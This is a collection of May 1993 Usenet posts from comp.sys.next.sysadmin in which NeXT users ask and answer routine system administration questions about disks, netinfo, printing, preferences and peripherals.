Newsgroups: comp.sys.next.sysadmin From: jaeger.ka.sub.org!stephan (Stephan Jaeger) Subject: SyQuest and Cube ? Message-ID: <1993May10.224510.345@jaeger.ka.sub.org> Sender: stephan@jaeger.ka.sub.org Organization: Stephan's Unox Bastelladen Date: Mon, 10 May 1993 22:45:10 GMT Hello people out there in NeXTland, last week-end, I bought a SyQuest-555-device and a 44MB-cartridge and integrated it in my cube. The SCSI-ID of the new device, I switched to '2'. But now, I have trouble while booting. The system recognizes that there is a SyQuest and recognizes the right SCSI-ID, too, but that's all. After that, I get the error-message 'invalid label' (in ROM-Monitor), which causes the system to crash. I labelled and formatted it using '/usr/etc/disk', so now I can boot and log in. But after logging in, the SyQuest is not shown in the directory, what (perhaps) means, that it is not mounted. But when I want to mount, I get this output: /stephan > mount /dev/sd1a /usr mount: /dev/sd1a on /usr: Device busy mount: giving up on: /usr Exit 16 /stephan > Why is the device busy ? Can I configure the system, that I can change cartridges while being logged in ? Can I use the SyQuest like a CD-ROM-player or like a floppy-device ? Are there differences, whether I install a SCSI-device internally or externally ? Has someone made other experiences with SyQuest-devices ? Thanks in advance. Stephan Jaeger -- This space for rent. Contact: Stephan Jaeger, Rheinstr.40, D-76185 Karlsruhe 21 Tel & Fax : +49 721 554293 e-mail : stephan@jaeger.ka.sub.org
Newsgroups: comp.sys.next.sysadmin From: mark@xexos.com (Mark Chamberlain) Subject: Re: netinfo across routers ?? Message-ID: <1993May10.124250.15159@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) References: <1sk9nl$cro@ni.umd.edu> Distribution: usa Date: Mon, 10 May 1993 12:42:50 GMT In article <1sk9nl$cro@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) writes: > > > >The best solution is to put a clone server on the new segment, in your case, > >put a clone server on segment 137. You have to put in an early router in > >/etc/rc that adds the router address, before netinfo tries to start up. > > Yuk. If you have NeXT scattered across 5 different networks, you might prefer > to not have clones everywhere. Yeah, its not appropriate where you might only have one or two NeXTs on those 5 different networks, but where you have say 5 subnets of machines, each with a bunch of NeXTs on them, and only want to use a flat netinfo domain system (or have more than one subnet of machines in the same domain), its the neatest way. -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
Newsgroups: comp.sys.next.sysadmin From: jr@sade.ka.sub.org (Jochen Richter) Subject: Re: no login panel on NeXTstation Color upgraded to 3.1 PR1 References: <1sni0mINNrnv@darkstar.UCSC.EDU> Date: Tue, 11 May 1993 10:25:40 GMT Organization: The home of the Pilhuhn Sender: news@pilhuhn.ka.sub.org (Das Newssystem auf pilhuhn) Message-ID: <C6uyAs.79o@pilhuhn.ka.sub.org> In article <1sni0mINNrnv@darkstar.UCSC.EDU> isbell@cats.ucsc.edu (Art Isbell) writes: > > appeared. However, in "normal" mode, no login panel appears, but the window > server is running because the mouse cursor is visible and movable. Booting in > verbose mode does not guaranty a successful boot, but the probability is better > than normal mode. This is a known problem and has to do with nmserver and/or loadable kernel servers. Try "sleep 5" after the nmserver call in /etc/rc. Or boot single user and type exit. -- Jochen Richter Phone +49-721-696922 Zahringerstrasse 57 Fax +49-721-696988 D-7500 Karlsruhe 1 e-mail: jr@sade.ka.sub.org Germany jr@resy.kfk.de (>50K)
From: Ward_Travis@transarc.com Newsgroups: comp.sys.next.sysadmin Subject: Experiences with USR Sportster? Date: Tue, 11 May 1993 08:29:38 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <MfvtkmD0BwyOBVImYo@transarc.com> I aske din .hardware, s now I'm asking here: if you've had any experiences using a USR Sportser modem with NS 3.0, please tell me what you thought of it. I'm most interested in fax compatibility and Zmodem/CU-Kermit transfer rates (and SLIP experiences, if you tried it). Thanks! A summary will follow. -- Ward C. Travis Pittsburgh PA USA "The fact is the sweetest dream that travis@transarc.com (412) 338 4388 labor knows." - R. Frost
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi From: cedman@princeton.edu (Carl Edman) Subject: Re: Problem with Micropolis SCSI drive In-Reply-To: rainer@ruble.fml.tuwien.ac.at's message of Tue, 11 May 1993 07:12:29 GMT To: rainer@ruble.fml.tuwien.ac.at (Rainer Staringer) Message-ID: <CEDMAN.93May11083556@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993May11.071229.7788@email.tuwien.ac.at> Date: Tue, 11 May 1993 12:35:56 GMT In article <1993May11.071229.7788@email.tuwien.ac.at> rainer@ruble.fml.tuwien.ac.at (Rainer Staringer) writes: Does anybody have an idea what could cause this sort of problem? Is there a conflict between the Quantum and the Micropolis SCSI implementations, or is the NeXTstation's internal SCSI bus limited to only one device? Or is there some sort of safety mechanism in the Micropolis drive which causes it to spin down when it gets too warm? (The drive doesn't feel particularly hot to the touch, though.) The standard answer (from a posting a few months ago): There is a problem with some old EPROM versions of the Micropolis 1598 and NeXTs. This problem leads to frequent time-outs (and worse if you have other devices attached). Fortunately there is a free upgrade available from Micropolis which eliminates this problem. Just call them and have the identification numbers of the EPROM handy -- I found them to be very helpful. Also while you are at it get a recent version of "scsiformatter" and reformat the drive to 1024 Byte blocks. This will give you another 60 MBytes of space. Carl Edman
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: DiskEjectFix -=> How do I use it? Message-ID: <1993May11.132642.4054@linus.mitre.org> Keywords: DiskEjectFix Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation Date: Tue, 11 May 1993 13:26:42 GMT From the DiskEjectFix.readme: This is the bug fix for the 3.0 floppy eject problem. The file DiskEjectFix.daemon should be excecutable and needs to be run by each user. Could someone (at NeXT?) tell me if the above means that each user should run it once, or on every login? Also, since this is a daemon, should the file be installed in any particular location? Your help is much appreciated, Jason -- Jason D. Blue NeXT Network and Systems Administrator The MITRE Corporation, McLean, VA jblue@mitre.org (NeXT Mail Encouraged!)
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.programmer Subject: Re: Maintaining Prefrences settings. Date: Tue, 11 May 1993 10:13:41 -0400 Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Message-ID: <ofvvGJu00WB3J0g8Yc@andrew.cmu.edu> In-Reply-To: <1993May10.205852.23293@yang.earlham.edu> Excerpts from netnews.comp.sys.next.misc: 10-May-93 Maintaining Prefrences sett.. by rabahya@yang.earlham.edu > I'm having a problem with the settings of my prefrences (mouse, sound, > keyboard.. etc) Whenever I login I have to set these things and then after > I logout they go back to somekind of a default setting, and it's a pain > setting them everytime I login... Any suggestions to what could be causing > this problem? It's possible that you do not have the correct permissions to modify the appropriate files. To fix this, do a "chown -R <user> <homedir>" as superuser, where <user> is your login id and <homedir> is your home directory. Then, as yourself, do a "chmod -R u+rw <homedir>" to make sure that you can read and write to every file that you own. If you aren't administering the machine and can't become root then ask your system's admin to do the chown for you.... -Chuck Charles William Swiger -- CMU...*crunch*! | 1. You can't fly. (Oops, Tom. :) ------------------------------------------+ 2. Cars are always real, even AMS & normal mail: infidel@cmu.edu | when they're not. Failing that: cs4w+@andrew.cmu.edu | 3. Cops are not your friends. NeXTmail: chuck@mon.slip.andrew.cmu.edu | 4. Fire burns.
From: stuart@oasys.dt.navy.mil (Stuart Pearlman) Newsgroups: comp.sys.next.sysadmin Subject: Need documentation on ~/.NeXT/defaults3_0.wmd Message-ID: <35648@oasys.dt.navy.mil> Date: 11 May 93 14:55:08 GMT Organization: Carderock Division, Naval Surface Warfare Center Can anyone point me to documentation on the files in ~/.NeXT, especially defaults3_0.wmd? I would like to write a program that I can use (as root) to manipulate the contents of another user's shelf. ~/.NeXT/defaults3_0.wmd seems to be the file that the contents of a user's shelf are recorded in. Sometimes users call me up with questions like "where is program foo" or "I had a document called bar on my shelf and I accidently removed it, but I don't remember what folder it was in. Could you help me?" I would like to be able to help these people by placing the appropriate file on their shelf without having to go to their offices. -stuart -- Stuart Pearlman stuart@oasys.dt.navy.mil Trandes Corporation +1 301 459 0200 On-Contract-To: David Taylor Research Center +1 301 227 1428
Newsgroups: comp.sys.next.sysadmin From: cary@jove.colorado.edu (John R. Cary) Subject: Printing TeX to Apple LaserWriters gives ugly letters Message-ID: <1993May11.151018.15189@colorado.edu> Sender: cary@jove (John R. Cary) Organization: University of Colorado at Boulder Date: Tue, 11 May 1993 15:10:18 GMT When I run latex on a file on my NeXT and print to the NeXT laserwriter, the output looks great. But when I do the same but direct the output to an apple laserwriter on EtherTalk or through a gatorbox, the output looks horrible. For example, the bottoms of 'e', 'a', 's', are missing the pixel to make them continuous. Do I need to do something about installing fonts? Changing printcap? Thanks.....John Cary
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software From: wherndon@smiley.mitre.org (William Herndon) Subject: Workspace lockup--diagnosis help requested Message-ID: <1993May11.160533.9592@linus.mitre.org> Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation, McLean, VA Date: Tue, 11 May 1993 16:05:33 GMT Lately, but with increasing frequency, my slab's workspace is locking up while BackSpace is running its screensaver. The only option to get the computer to respond is to do a panic reboot, <alt><shift>*. After the reboot both my main disk and swap disk are checked with a cycle of fsck, but no problems that the computer can't handle are encountered. In addition, /usr/adm/messages doesn't contain any en- lightening entries. The last message before the reboot is a Work- space error message, but the time signature on it indicates that it is probably a result of the panic reboot. Are there any known problems with BackSpace or the 3.0 version of NeXTStep that would cause this problem? Any files that I should be checking to assist in diagnosing this problem? My configuration is a NeXTStation with a 600 MByte external main disk, a 100 MByte internal disk partioned into a swap partion and a partition for /clients. The station is connected via ethernet to an 030 Cube ( off most of the time ). The cube, when powered up, mounts / and /clients from the slab, and the Slab mounts /backup (a mount point for backup optical disks) from the Cube. Thanks for any assistance. - Max | William R. Herndon \ The MITRE Corporation, Dept. G023 | | EMail: wherndon@mitre.org \ Secure Information Technology | | NeXTMail: <out of order> \ MS-Z231, 703.883.6393 | | | | "The world bores you when you're cool." - Calvin |
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: Workspace lockup--diagnosis help requested Date: 11 May 1993 18:22:39 GMT Organization: University of Houston Message-ID: <1soqtf$4e5@menudo.uh.edu> References: <1993May11.160533.9592@linus.mitre.org> In article <1993May11.160533.9592@linus.mitre.org> wherndon@smiley.mitre.org (William Herndon) writes: # Lately, but with increasing frequency, my slab's workspace is locking # up while BackSpace is running its screensaver. The only option to # get the computer to respond is to do a panic reboot, <alt><shift>*. # After the reboot both my main disk and swap disk are checked with # a cycle of fsck, but no problems that the computer can't handle are # encountered. In addition, /usr/adm/messages doesn't contain any en- # lightening entries. The last message before the reboot is a Work- # space error message, but the time signature on it indicates that it # is probably a result of the panic reboot. # Are you using the "FlippyFloppy" module? This module lets you enter a text string and then it displays in on the screen in various rotations, etc... There module seems to tickle a bug in the DPS that NeXT uses and it causes a total lock up (usually after about 30 minutes or so..) Don't use that module... # - Max # # | William R. Herndon \ The MITRE Corporation, Dept. G023 | # | EMail: wherndon@mitre.org \ Secure Information Technology | # | NeXTMail: <out of order> \ MS-Z231, 703.883.6393 | -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: Hal.Varian@umich.edu Newsgroups: comp.sys.next.sysadmin Subject: Re: Printing TeX to Apple LaserWriters gives ugly letters Date: 11 May 1993 18:35:49 GMT Organization: University of Michigan - College of Literature, Science, and TheArts Distribution: world Message-ID: <1sorm5$5ur@controversy.math.lsa.umich.edu> References: <1993May11.151018.15189@colorado.edu> In article <1993May11.151018.15189@colorado.edu> cary@jove.colorado.edu (John R. Cary) writes: > When I run latex on a file on my NeXT and print to the NeXT > laserwriter, the output looks great. But when I do the same > but direct the output to an apple laserwriter on EtherTalk > or through a gatorbox, the output looks horrible. For example, > the bottoms of 'e', 'a', 's', are missing the pixel to make > them continuous. > > Do I need to do something about installing fonts? > Changing printcap? > You need to "Choose custom resolution" and type in "300" in the space provided. (The problem is that you are now trying to print out 400 dpi files on a 300 dpi printer...) -- Hal.Varian@umich.edu Hal Varian voice: 313-764-2364 Dept of Economics fax: 313-764-2364 Univ of Michigan Ann Arbor, MI 48109-1220
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: andrew@stone.com (Andrew Stone) Subject: Getting A MAC on the net, but cheaply Message-ID: <1993May11.164829.1028@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp Date: Tue, 11 May 1993 16:48:29 GMT Hey y'all. We have a bunch of NeXT's and one lonely mac with an ASANTE ethernet card in it. Is there PD software that can make the Mac filesystem be exported, and allow the Mac to mount filesystems? I'll post a summary of the answers, thanks! andrew -- ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone !! (505) 345-4800 !! !! andrew@stone.com <> Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>||
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: Re: DiskEjectFix -=> How do I use it? Message-ID: <1993May11.192040.17066@linus.mitre.org> Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation References: <1993May11.132642.4054@linus.mitre.org> Date: Tue, 11 May 1993 19:20:40 GMT In article <1993May11.132642.4054@linus.mitre.org> jblue@ocotillo.mitre.org (Jason D. Blue) writes: > > Could someone (at NeXT?) tell me if the above means that each user > should run it once, or on every login? Also, since this is a daemon, > should the file be installed in any particular location? Thank you to those that replied to my post. Thanks especially to Mark Adler <me@quest.jpl.nasa.gov>, who pointed me to the complete version of DiskEjectFix at next.com (pub/Binaries), which included information on the patch unlike the "what's-the-point-of-it" readme provided with the deamon on other ftp sites. The readme at next.com suggests installing the DiskEjectFix.deamon into /usr/local/bin. It needs to be run manually only once by each user, as it will modify the workspace (probably the defaults) to automatically run it everytime the user logs on. -- Jason D. Blue NeXT Network and Systems Administrator The MITRE Corporation, McLean, VA jblue@mitre.org (NeXT Mail Encouraged!)
Newsgroups: comp.sys.next.sysadmin From: raul@pencom.com (Raul Alvarez) Subject: Re: Maintaining Prefrences settings. Message-ID: <1993May11.190212.14795@pencom.com> Sender: usenet@pencom.com (News system) Organization: Pencom Systems Incorporated References: <1993May10.205852.23293@yang.earlham.edu> Date: Tue, 11 May 1993 19:02:12 GMT In article <1993May10.205852.23293@yang.earlham.edu> rabahya@yang.earlham.edu writes: > Hi you NeXT wizards out there !! > > I'm having a problem with the settings of my prefrences (mouse, sound, > keyboard.. etc) Whenever I login I have to set these things and then after I > logout they go back to somekind of a default setting, and it's a pain setting > them everytime I login... Any suggestions to what could be causing this > problem? > OK, I'll give it a stab, I've seen this happen before. In your home directory there is a hidden directory called ".NeXT". All of the files in this directory, and the directory itself, should have write permissions by you. Pay particular attention to these files: ~/NeXT ~/NeXT/defaults.nibd ~/NeXT/.NeXTdefaults.D ~/NeXT/.NeXTdefaults.L I hope this helps! Raul.
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: Maintaining Prefrences settings. Message-ID: <C6vuH9.16y@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <1993May10.205852.23293@yang.earlham.edu> <1993May11.190212.14795@pencom.com> Date: Tue, 11 May 1993 22:00:44 GMT >In article <1993May10.205852.23293@yang.earlham.edu> >rabahya@yang.earlham.edu writes: >> Hi you NeXT wizards out there !! >> >> I'm having a problem with the settings of my prefrences (mouse, sound, >> keyboard.. etc) Whenever I login I have to set these things and then >after I >> logout they go back to somekind of a default setting, and it's a pain >setting >> them everytime I login... Any suggestions to what could be causing this >> problem? Could be because Prefences runs setuid root. If you are on a client that doesn't have a home directory exported with root permissions, then the changes can't be written. You need to login to the server to make it stick if that's the case. -rob francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin From: ndawson@vx9000.weber.edu (Neil Dawson) Subject: Banner Pages Message-ID: <11MAY199316250129@vx9000.weber.edu> News-Software: VAX/VMS VNEWS 1.41 Sender: news@fcom.cc.utah.edu Organization: Weber State University Date: 11 May 1993 16:25 MST I work in a lab with a network of ten NeXTColor Stations and a Cube as a server. We have labored over how to get banner pages to print but to no avail. Does anybody have any suggetions? If it makes a difference (which I doubt it does) our printer is an HP Laserjet 4M. Also why can't root on the Cube delete any print jobs? We find that you must be the user that sent the job to delete it. Any help with either of these questions will be greatly appreciated. Thanks in advance. Neil
Newsgroups: comp.sys.next.sysadmin From: uunet!sci34hub!tybrin4!trey (Trey McClendon) Subject: Using Inform to broadcast messages Message-ID: <1993May11.211439.5893@tybrin4.uucp> Sender: trey@tybrin4.uucp (Trey McClendon) Organization: TYBRIN Corporation, Huntsville AL Date: Tue, 11 May 1993 21:14:39 GMT A while back, someone posted a note about using the Inform program (/usr/lib/NextPrinter/Inform) to broadcast messages to the same box used by the printer alert system. I'd like to use this but can't remember how to specify the hostname of the target machine. This is what I do now: .../Inform -b1 'I will clean up my directories' 'Disk space is getting tight' but, of course, this won't send the message to the correct machine. Ideas Please! Trey tybrin4!trey@sci34hub.sci.com
From: mat@math.arizona.edu (Mathew D. Watson) Newsgroups: comp.sys.next.sysadmin Subject: DSP "unavailable" - diagnosis requested Message-ID: <MAT.93May11200246@coral.math.arizona.edu> Date: 12 May 93 03:02:46 GMT Organization: Freedom for free thinkers When I try to use apps such as ScorePlayer my system respnds with a panel that says "Can't open DSP. Perhaps another application has it." My system beep no longer works either. However, when booting, my system goes thorugh some hardware diagnostics at the ROM level, and when it gets to Sound Out, there is a beep. How can I go about diagnosing the problem? I can't locate a lockfile that has to do with the DSP, and don't think that the hardware is broken ( because of the beep at boot up). Any help will be apreciated. --Mat mat@secundus.opt-sci.arizona.edu
Newsgroups: comp.sys.next.sysadmin From: mcdougall@binah.cc.brandeis.edu Subject: help bsd Message-ID: <1993May12.040751.21718@news.cs.brandeis.edu> Sender: news@news.cs.brandeis.edu (USENET News System) Organization: Brandeis University Date: Wed, 12 May 1993 04:07:51 GMT What is the proper syntax to boot from the monitor and set the number of buffers to say 128. A mail reply would be nice, but a post by any of you werewolves would just be grand. I can't remember the bloody command; its 00:11 in New England and any help you can offer NOW would just be grand thanks Brendan is it bsd nbu=128 nope load fails on that one a 1000 cheers to the first correct answer
Newsgroups: comp.sys.next.sysadmin From: rainer@fml.tuwien.ac.at (Rainer Staringer) Subject: Re: Problem with Micropolis SCSI drive (solved) Message-ID: <1993May12.073548.29758@email.tuwien.ac.at> Sender: news@email.tuwien.ac.at Organization: Technical University of Vienna References: <CEDMAN.93May11083556@capitalist.princeton.edu> Date: Wed, 12 May 1993 07:35:48 GMT Thanks to everybody who responded. It looks as if the problem was caused by a flakey power supply in the PC case -- the disk drive is now sitting in an old VAXstation 2000 case on top of the NeXTstation and the problem has disappeared. The setup does look pretty scary, though... :-) Rainer -- Rainer Staringer | rainer@fml.tuwien.ac.at Financial Markets Lab, TU Vienna | +43 (1) 58801/8138
Newsgroups: comp.sys.next.sysadmin From: boardman@casbah.acns.nwu.edu (Michael Boardman) Subject: Re: Printing TeX to Apple LaserWriters gives ugly letters Message-ID: <boardman.737213300@news.acns.nwu.edu> Sender: usenet@news.acns.nwu.edu (Usenet on news.acns) Organization: Northwestern University, Evanston, Illinois, USA References: <1993May11.151018.15189@colorado.edu> Distribution: usa Date: Wed, 12 May 1993 13:28:20 GMT In <1993May11.151018.15189@colorado.edu> cary@jove.colorado.edu (John R. Cary) writes: >When I run latex on a file on my NeXT and print to the NeXT >laserwriter, the output looks great. But when I do the same >but direct the output to an apple laserwriter on EtherTalk >or through a gatorbox, the output looks horrible. For example, >the bottoms of 'e', 'a', 's', are missing the pixel to make >them continuous. >Do I need to do something about installing fonts? >Changing printcap? >Thanks.....John Cary You're probably printing at 400 dpi to a 300 dpi printer. If you're using TeXview, make sure you choose a custom resolution of 300dpi. If you're using dvips, include "-D300" in the command line before the file name. Michael Boardman Lake Forest College boardman@davinci.lfc.edu
From: alex@cs.umd.edu (Alex Blakemore) Newsgroups: comp.sys.next.sysadmin Subject: Re: DiskEjectFix -=> How do I use it? Message-ID: <67491@mimsy.umd.edu> Date: 12 May 93 13:58:19 GMT References: <1993May11.132642.4054@linus.mitre.org> <1993May11.192040.17066@linus.mitre.org> Sender: news@mimsy.umd.edu Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 jblue@ocotillo.mitre.org (Jason D. Blue) writes > The readme at next.com suggests installing the DiskEjectFix.deamon [sic] > into /usr/local/bin. It needs to be run manually only once by each user, as > it will modify the workspace (probably the defaults) to > automatically run it everytime the user logs on. looks like it adds itself to the Workspace default called LaunchPaths (entries are separated by semicolons) I suppose you could write a script to make sure this is set up for every user. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted -------------------------------------------------------------- "Without an engaged and motivated human being at the keyboard, the computer is just another dumb box." William Raspberry
From: alex@cs.umd.edu (Alex Blakemore) Newsgroups: comp.sys.next.sysadmin Subject: what are valid properties in netinfo /locations directory? Message-ID: <67492@mimsy.umd.edu> Date: 12 May 93 14:05:32 GMT Sender: news@mimsy.umd.edu Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 netinfo question: is there a documented list of what properties can be set in /locations I know about the sendmail config files, but wonder what else can be set this way. also is it possible to automount a directory at some point other than net? otherwise, I can only see lots of symbolic links on each host to get the same namespace across machines. (this is what got me wondering about /locations but is not the only reason) -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted -------------------------------------------------------------- "Without an engaged and motivated human being at the keyboard, the computer is just another dumb box." William Raspberry
From: alex@cs.umd.edu (Alex Blakemore) Newsgroups: comp.sys.next.sysadmin Subject: Who distributes netinfo for beige hardware? Message-ID: <67493@mimsy.umd.edu> Date: 12 May 93 14:17:19 GMT Sender: news@mimsy.umd.edu Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 who distributes netinfo for Suns and other non NeXT platforms? has anyone had good or bad experiences with it? I tried to find the comp.sys.next.announce archives on the net to avoid this query, but couldnt find them on sonata or orst. sorry for the bandwidth if they are in an obvious place. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted -------------------------------------------------------------- "Without an engaged and motivated human being at the keyboard, the computer is just another dumb box." William Raspberry
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin Subject: Re: netinfo across routers ?? Date: 12 May 1993 14:16:54 GMT Organization: The University of Maryland, College Park Distribution: usa Message-ID: <1sr0sm$qad@ni.umd.edu> References: <1sk9nl$cro@ni.umd.edu> <1993May10.124250.15159@xexos.com> In article <1993May10.124250.15159@xexos.com> mark@xexos.com writes: >In article <1sk9nl$cro@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) >writes: >> Yuk. If you have NeXT scattered across 5 different networks, you might prefer >> to not have clones everywhere. > >Yeah, its not appropriate where you might only have one or two NeXTs on those 5 >different networks, but where you have say 5 subnets of machines, each with a >bunch of NeXTs on them, and only want to use a flat netinfo domain system (or >have more than one subnet of machines in the same domain), its the neatest way. I disagree. We have clusters of 20 machines each scattered around. It is not operationally possible to have *any* of those workstations acting as a clone server because they can and do get rebooted at any time without any notice. We would be foolish to build an operational infrastructure which depended on the stability of systems that were completely unprotected and in a hostile environment. And I don't just mean undergraduate students using these things; I mean lack of UPS power, and lack of physical security. We get by with two Netinfo servers for a group of roughly 95 NeXT platforms. We only *have* two NeXT "server" platforms that are not workstations; the rest of the servers are Sun and DEC platforms. If someone is going to suggest that Netinfo shouldn't handle a 100 machines spread over two servers, then I'll soundly flame them, because we run *thousands* of machines off of 4 DNS servers with no problems. Louis Mamakos University of Maryland
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: netinfo across routers ?? Date: 12 May 1993 16:23:05 GMT Organization: University of Houston Distribution: usa Message-ID: <1sr899$5ol@menudo.uh.edu> References: <1sr0sm$qad@ni.umd.edu> In article <1sr0sm$qad@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) writes: # #I disagree. We have clusters of 20 machines each scattered around. #It is not operationally possible to have *any* of those workstations #acting as a clone server because they can and do get rebooted at any #time without any notice. # #We would be foolish to build an operational infrastructure which #depended on the stability of systems that were completely unprotected #and in a hostile environment. And I don't just mean undergraduate #students using these things; I mean lack of UPS power, and lack of #physical security. # #We get by with two Netinfo servers for a group of roughly 95 NeXT #platforms. We only *have* two NeXT "server" platforms that are not #workstations; the rest of the servers are Sun and DEC platforms. If #someone is going to suggest that Netinfo shouldn't handle a 100 #machines spread over two servers, then I'll soundly flame them, #because we run *thousands* of machines off of 4 DNS servers with no #problems. # #Louis Mamakos #University of Maryland I second that. We currently have more than 50 NeXTs served by two "servers". The NetInfo load is minimal compared to the NFS load on the servers. One machine can easily be a NetInfo master for far more than 100 machines. Throw NFS into that pot then your mileage will differ.. -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: minch@lotka.stanford.edu Newsgroups: comp.sys.next.sysadmin Subject: filesystem full; can't reboot Date: 12 May 1993 17:48:18 GMT Organization: Stanford University Message-ID: <1srd92$5ga@morrow.stanford.edu> Somehow the 105MB internal on our station has gotten full, even though it has only a minimal number of system files and all user work is restricted to an external hanging off a remote server. Now reboots seem impossible, even in single user mode. I don't know what file[s] have used up all the space (there should be ~40MB free) and know no way to find out. The station responds to pings across the net but no telnet and NFS access is of course impossible. Anyone know of a way around this besides reinstalling 3.0? -- Eric Minch
From: tpugh@oce.orst.edu (Tim Pugh) Newsgroups: comp.sys.next.sysadmin Subject: ?: NS and disk drives > 2.0GB Message-ID: <1srnsc$e02@gaia.ucs.orst.edu> Date: 12 May 93 20:49:16 GMT Article-I.D.: gaia.1srnsc$e02 Organization: University Computing Services - Oregon State University Does NEXTSTEP support disk drives greater than 2 GB ( > 2^31 )? I mounted a 3.0GB drive and this is what df says: Filesystem kbytes used avail capacity Mounted on umbaluru:/usr4 -1309307-1374901 36744 99% /Net/umbaluru/usr4 This is what it should say (from the host machine under HPUX) Filesystem kbytes used avail capacity Mounted on /dev/dsk/1s0 2884997 2819403 36744 99% /usr4 The avail space is correct but kbtyes and used are not reported correctly on the NeXT. Is this just a problem with the df command? Or is there a problem with how much the NeXT can address? - Tim - -- Tim Pugh College of Oceanic and Atmospheric Sciences Oregon State University tpugh@oce.orst.edu NeXTmail ok!
From: teske@opac1.cc.vt.edu (Steve Teske) Newsgroups: comp.sys.next.sysadmin Subject: How To Automatically Forward Mail Date: 12 May 1993 20:01:47 GMT Organization: Virginia Tech, Blacksburg, Virginia Message-ID: <1srl3b$8tc@vtserf.cc.vt.edu> Keywords: Mail Forward Network NeXT My desire is to forward all my mail to one workstation in the network of NeXT's that I work with. There is no mail server set up for the network. I could use some hints on how to automatically forward mail to one workstation. -- Steve Teske, Virginia Tech Computing Center, Blacksburg, Virginia phone: (703)231-6256 ___ __ __ __ _______ teske@opac1.cc.vt.edu //|| // ____ \\ // // Expanding the teske@opac2.cc.vt.edu // || // // \\ \\// // paradigm of OO prog teske@opac3.cc.vt.edu // || // ||====== //\\ // on a platform made to teske@info1.cc.vt.edu // ||// \\_____ // \\ // order -- NeXTStep.
From: hans@symbas.UUCP (Hans Aafloy) Newsgroups: comp.sys.next.sysadmin Subject: dump : write error Message-ID: <3819@symbas.UUCP> Date: 12 May 93 13:41:38 GMT Distribution: world Organization: Symbiotic Computer Systems A/S, Trondheim, Norway I've tried to dump 1 GB of data onto a HP35460 tape drive (/dev/rst0) using a 197 ft dat tape, and the following message is issued in the middle of the backup: DUMP: Tape write error 24909 feet into tape 1 My question is n o t how thats possible on a 197' tape :-) (the man page operates with size equivalents ( 1600 bpi reel-to-reel tape)), rather how many "feet" equivalents are my 197' tape ? In other words : Which value should I give the s key in the dump program ? Any ideas out there ?? hans ========================================================================== Hans Aafloy hans@symbas.lind.no LindMac A/S Phone: +477 96 73 11 7038 Trondheim, NORWAY Fax: . . . .45 05 ===========================================================================
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc From: piro@bnlux1.bnl.gov (Oreste Piro) Subject: Would a Seagate HD boot my 030 cube? Message-ID: <1993May12.205757.6983@bnlux1.bnl.gov> Organization: Brookhaven National Laboratory, Upton, NY 11973 References: <1s3tkh$7bk@charm.magnus.acs.ohio-state.edu> Date: Wed, 12 May 1993 20:57:57 GMT I have this very definite question and would like a very definite answer: Is it possible to build a bootable disk from a 040 nonturbo cube and boot an 030 machine from it? Would the Seagate ST41200N do it? Thanks in advance. O. Piro.
From: gregory@brigham-circle.mit.edu (Greg Howland) Newsgroups: comp.sys.next.sysadmin Subject: lost AppleTalk.pkg Date: 13 May 1993 00:42:54 GMT Organization: Massachvsetts Institvte of Technology Message-ID: <1ss5ieINN1bg@senator-bedfellow.MIT.EDU> I lost the AppleTalk.pkg during my upgrade to 3.0. Could someone NEXTmail the package to me. Thanks, Greg gregory@brigham-circle.mit.edu
